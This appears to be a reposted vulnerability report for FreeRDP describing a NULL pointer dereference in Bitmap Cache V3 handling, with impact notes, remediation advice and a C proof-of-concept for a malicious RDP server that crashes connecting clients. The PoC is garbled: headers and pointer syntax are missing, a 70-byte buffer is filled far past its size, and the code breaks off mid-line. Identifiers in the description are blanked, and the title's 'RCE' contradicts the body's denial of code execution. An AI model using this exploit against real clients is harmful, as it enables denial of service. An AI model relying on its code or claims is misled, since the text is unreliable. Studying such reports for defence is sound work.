FreeRDP NULL Pointer Dereference RCE/DoS via Bitmap Cache V3

Vulnerability Overview Vulnerability Name: NULL Pointer Dereference in FreeRDP CVE ID: No known CVE Severity: Medium (6.5/10) Description: A malicious or compromised RDP server can terminate a FreeRDP client connection before the Demand Active phase, when the client has the non-default Bitmap Cache V3 feature enabled. While waiting for Demand Active, forwards other Share Control PDU types to . Slow-path Share Data Update/Orders PDUs can thus reach . When the server sets , the parser assumes that has been initialized. This cache is created by during the post-activation client-channel transition. Before Demand Active, remains NULL. Builds with assertions enabled will abort at , while builds without assertions will dereference the NULL value on the next line. The complete blob is byte-identical between versions 3.3.1 and the checked master version. No exact public copy or public fix has been identified. Public issues #9013, GHSA-rj7r-3wq7-99kx, GHSA-c495-h8xv-3prp, and GHSA-h668-rfwd-jhrv concern different root causes. Impact Scope The affected client process terminates during the connection establishment phase. The server can send repeated packets to prevent specific connections from completing. The demonstrated effect is solely a loss of availability. The report does not claim TLS bypass, authentication bypass, loss of confidentiality, loss of integrity, memory corruption, or code execution. The attacker must control or compromise the RDP server. Alice must initiate the connection, and the client must have the non-default Bitmap Cache V3 enabled. No prior desktop session or local privileges on the FreeRDP client are required. Remediation Before dereferencing , check within the branch whether the cache and the bitmap cache exist. If either is missing, reject the order and return a normal protocol status. Consider also restricting pre-Demand Active Data PDU subtypes to only those valid for this state. Add a genuine regression test for matching positive pre-Demand Active packets that do not have , ensuring both builds with assertions enabled and builds without assertions pass. POC Code ```c #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static const char g_mode = NULL; static const char g_cert = NULL; static const char g_key = NULL; static void put_u16le(BYTE p, UINT16 value) { (p++) = (BYTE)(value & 0xff); (p++) = (BYTE)(value >> 8); } static void put_u32le(BYTE p, UINT32 value) { put_u16le(p, (UINT16)(value & 0xffff)); put_u16le(p + 2, (UINT16)(value >> 16)); } static BOOL inject_pre_demand_active(freerdp_peer peer) { BYTE packet[70] = { 0 }; BYTE p = packet; BOOL positive = strcmp(g_mode, "positive") == 0; const UINT32 extraFlags = positive ? 0x0020 : 0x0020; const UINT32 shareId = freerdp_settings_get_uint32(peer->context->settings, FreeRDP_SharedId); / TPKT, X.224 Data TPDU, and MCS SendDataIndication. / p++ = 0x03; p++ = 0x80; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x00; p++ = 0x0

Goal Reached Thanks to every supporter — we hit 100%!

FreeRDP NULL Pointer Dereference RCE/DoS via Bitmap Cache V3

More from this source